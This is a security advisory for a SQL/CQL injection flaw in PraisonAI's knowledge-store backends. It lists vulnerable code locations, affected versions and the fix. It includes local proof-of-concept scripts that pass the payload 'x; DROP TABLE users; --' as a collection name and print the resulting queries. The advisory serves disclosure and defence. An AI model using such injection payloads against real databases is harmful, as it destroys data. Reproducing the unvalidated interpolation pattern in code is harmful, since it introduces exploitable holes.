CVE-2026-44337: PraisonAI knowledge-store backends interpolate unvalidated collection names into SQL and CQL queries
Summary PraisonAI exposes optional SQL/CQL-backed knowledge-store implementations that build table and index identifiers from unvalidated name and collection arguments. Applications that pass untrusted collection names into these backends can trigger SQL or CQL injection.
Details This issue affects the public persistence layer exported by persistence/init.py, which exposes KnowledgeStore and createknowledgestore(). The factory wires the affected backends as supported knowledge-store providers in [persistence/factory.py](/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/praisonai/persistence/factory.py:112):
- pgvector at [persistence/factory.py](/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/praisonai/persistence/factory.py:162) - cassandra at persistence/factory.py - singlestorevector at persistence/factory.py
The common root cause is that the KnowledgeStore interface accepts free-form collection names in createcollection(), deletecollection(), insert(), upsert(), search(), get(), delete(), and count() at [persistence/knowledge/base.py](/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/praisonai/persistence/knowledge/base.py:44), but the affected backends interpolate those values directly into query text instead of validating or quoting them.
Representative sinks:
- SingleStoreVectorKnowledgeStore builds tablename = f"{self.tableprefix}{name}" and executes raw DDL in [persistence/knowledge/singlestorevector.py](/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/praisonai/persistence/knowledge/singlestorevector.py:92). The same pattern is reused for deletecollection, insert, upsert, search, get, delete, and count. - PGVectorKnowledgeStore builds public.praisonvec{collection} and idx{name}embedding directly into SQL in [persistence/knowledge/pgvector.py](/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/praisonai/persistence/knowledge/pgvector.py:82). - CassandraKnowledgeStore interpolates name and collection directly into CREATE TABLE, DROP TABLE, INSERT, SELECT, DELETE, and COUNT statements in [persistence/knowledge/cassandra.py](/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/praisonai/persistence/knowledge/cassandra.py:73).
There is already an internal identifier validator in the conversation persistence layer:
- validateidentifier() only allows alphanumeric characters and underscores in [persistence/conversation/base.py](/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/praisonai/persistence/conversation/base.py:18)
That validator is used for SQL identifiers such as tableprefix and schema in the conversation stores, but no equivalent validation is applied in the affected knowledge-store backends.
Version scope:
- pgvector.py and cassandra.py were already present by v2.4.1 - singlestorevector.py was present by v2.4.3 - the current PyPI release on May 1, 2026 is 4.6.33, and the same interpolation patterns are still present
Scope note for maintainers: I did not identify a built-in PraisonAI HTTP endpoint that forwards external request data into these specific persistence methods. The issue is in the package's public persistence APIs and affects applications that pass untrusted collection names to the affected backends.
PoC The following local reproductions show that attacker-controlled collection names become part of the executed SQL text.
1. Reproduce the SingleStoreVectorKnowledgeStore.deletecollection() query construction:
bash python3 - <<'PY' import importlib.util import pathlib import sys import types
base = pathlib.Path("scans/variant-hunt/PraisonAI/src/praisonai/praisonai/persistence")
mods = { "praisonai": types.ModuleType("praisonai"), "praisonai.persistence": types.ModuleType("praisonai.persistence"), "praisonai.persistence.knowledge": types.ModuleType("praisonai.persistence.knowledge"), } for k, v in mods.items(): v.path = [] sys.modules[k] = v
def load(name, path): spec = importlib.util.specfromfilelocation(name, path) mod = importlib.util.modulefromspec(spec) sys.modules[name] = mod spec.loader.execmodule(mod) return mod
load("praisonai.persistence.knowledge.base", base / "knowledge" / "base.py") ss = load("praisonai.persistence.knowledge.singlestorevector", base / "knowledge" / "singlestorevector.py")
class FakeCursor: def init(self, parent): self.parent = parent def execute(self, query, params=None): self.parent.calls.append((query, params)) def enter(self): return self def exit(self, args): return False
class FakeConn: def init(self): self.calls = [] def cursor(self): return FakeCursor(self)
store = ss.SingleStoreVectorKnowledgeStore() store.initialized = True store.conn = FakeConn() store.deletecollection("x; DROP TABLE users; --") print(store.conn.calls[-1][0].strip()) PY
Observed result:
text DROP TABLE IF EXISTS praisonaix; DROP TABLE users; --
2. Reproduce the PGVectorKnowledgeStore.createcollection() query construction:
bash python3 - <<'PY' import importlib.util import pathlib import sys import types
base = pathlib.Path("scans/variant-hunt/PraisonAI/src/praisonai/praisonai/persistence")
mods = { "praisonai": types.ModuleType("praisonai"), "praisonai.persistence": types.ModuleType("praisonai.persistence"), "praisonai.persistence.knowledge": types.ModuleType("praisonai.persistence.knowledge"), } for k, v in mods.items(): v.path = [] sys.modules[k] = v
def load(name, path): spec = importlib.util.specfromfilelocation(name, path) mod = importlib.util.modulefromspec(spec) sys.modules[name] = mod spec.loader.execmodule(mod) return mod
load("praisonai.persistence.knowledge.base", base / "knowledge" / "base.py")
psycopg2 = types.ModuleType("psycopg2") extras = types.ModuleType("psycopg2.extras") pool = types.ModuleType("psycopg2.pool") class DummyPool: def init(self, a, k): pass def getconn(self): return None def putconn(self, c): pass pool.ThreadedConnectionPool = DummyPool extras.RealDictCursor = object psycopg2.pool = pool sys.modules["psycopg2"] = psycopg2 sys.modules["psycopg2.pool"] = pool sys.modules["psycopg2.extras"] = extras
pg = load("praisonai.persistence.knowledge.pgvector", base / "knowledge" / "pgvector.py")
class FakeCursor: def init(self, parent): self.parent = parent def execute(self, query, params=None): self.parent.calls.append((query, params)) def enter(self): return self def exit(self, args): return False
class FakeConn: def init(self): self.calls = [] def cursor(self): return FakeCursor(self) def commit(self): pass
store = pg.PGVectorKnowledgeStore(autocreateextension=False) conn = FakeConn() store.getconn = lambda: conn store.putconn = lambda c: None store.createcollection("x; DROP TABLE users; --", 3) for query, in conn.calls: print(query.strip()) PY
Observed result includes:
text CREATE TABLE IF NOT EXISTS public.praisonvecx; DROP TABLE users; -- ( CREATE INDEX IF NOT EXISTS idxx; DROP TABLE users; --embedding
The Cassandra backend follows the same pattern in its CREATE TABLE, DROP TABLE, INSERT, SELECT, and DELETE statements.
Impact This issue affects applications that use PraisonAI's optional SQL/CQL knowledge-store backends and pass untrusted collection names into them.
Potential impact depends on backend and driver behavior, but includes:
- malformed queries and backend errors - access to unintended tables or indexes - execution of attacker-influenced SQL or CQL text where the backend/driver accepts the resulting statement shape
I did not confirm direct exposure through PraisonAI's built-in HTTP server surfaces, so this is best understood as a vulnerability in the package's public persistence APIs rather than a turnkey remote exploit in the default application server.
Other sources
PraisonAI is a multi-agent teams system. From version 2.4.1 to before version 4.6.34, PraisonAI exposes optional SQL/CQL-backed knowledge-store implementations that build table and index identifiers from unvalidated name and collection arguments. Applications that pass untrusted collection names into these backends can trigger SQL or CQL injection. This issue has been patched in version 4.6.34.
— NVD
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
pip/PraisonAIto a version that resolves this vulnerability.Fixed in 4.6.34 - Upgrade
Upgrade
praisonaito a version that resolves this vulnerability.Fixed in 4.6.34
Event History
Frequently Asked Questions
What is the severity of CVE-2026-44337?
CVE-2026-44337 is a critical vulnerability that allows unvalidated interpolation of collection names into SQL and CQL queries.
How do I fix CVE-2026-44337?
To fix CVE-2026-44337, upgrade PraisonAI to version 4.6.34 or later.
What versions of PraisonAI are affected by CVE-2026-44337?
CVE-2026-44337 affects PraisonAI versions from 2.4.1 to before 4.6.34.
What types of databases are impacted by CVE-2026-44337?
CVE-2026-44337 impacts SQL and CQL-backed knowledge-store implementations in PraisonAI.
Is CVE-2026-44337 a remote code execution vulnerability?
CVE-2026-44337 can potentially lead to unauthorized data access but is not classified as remote code execution.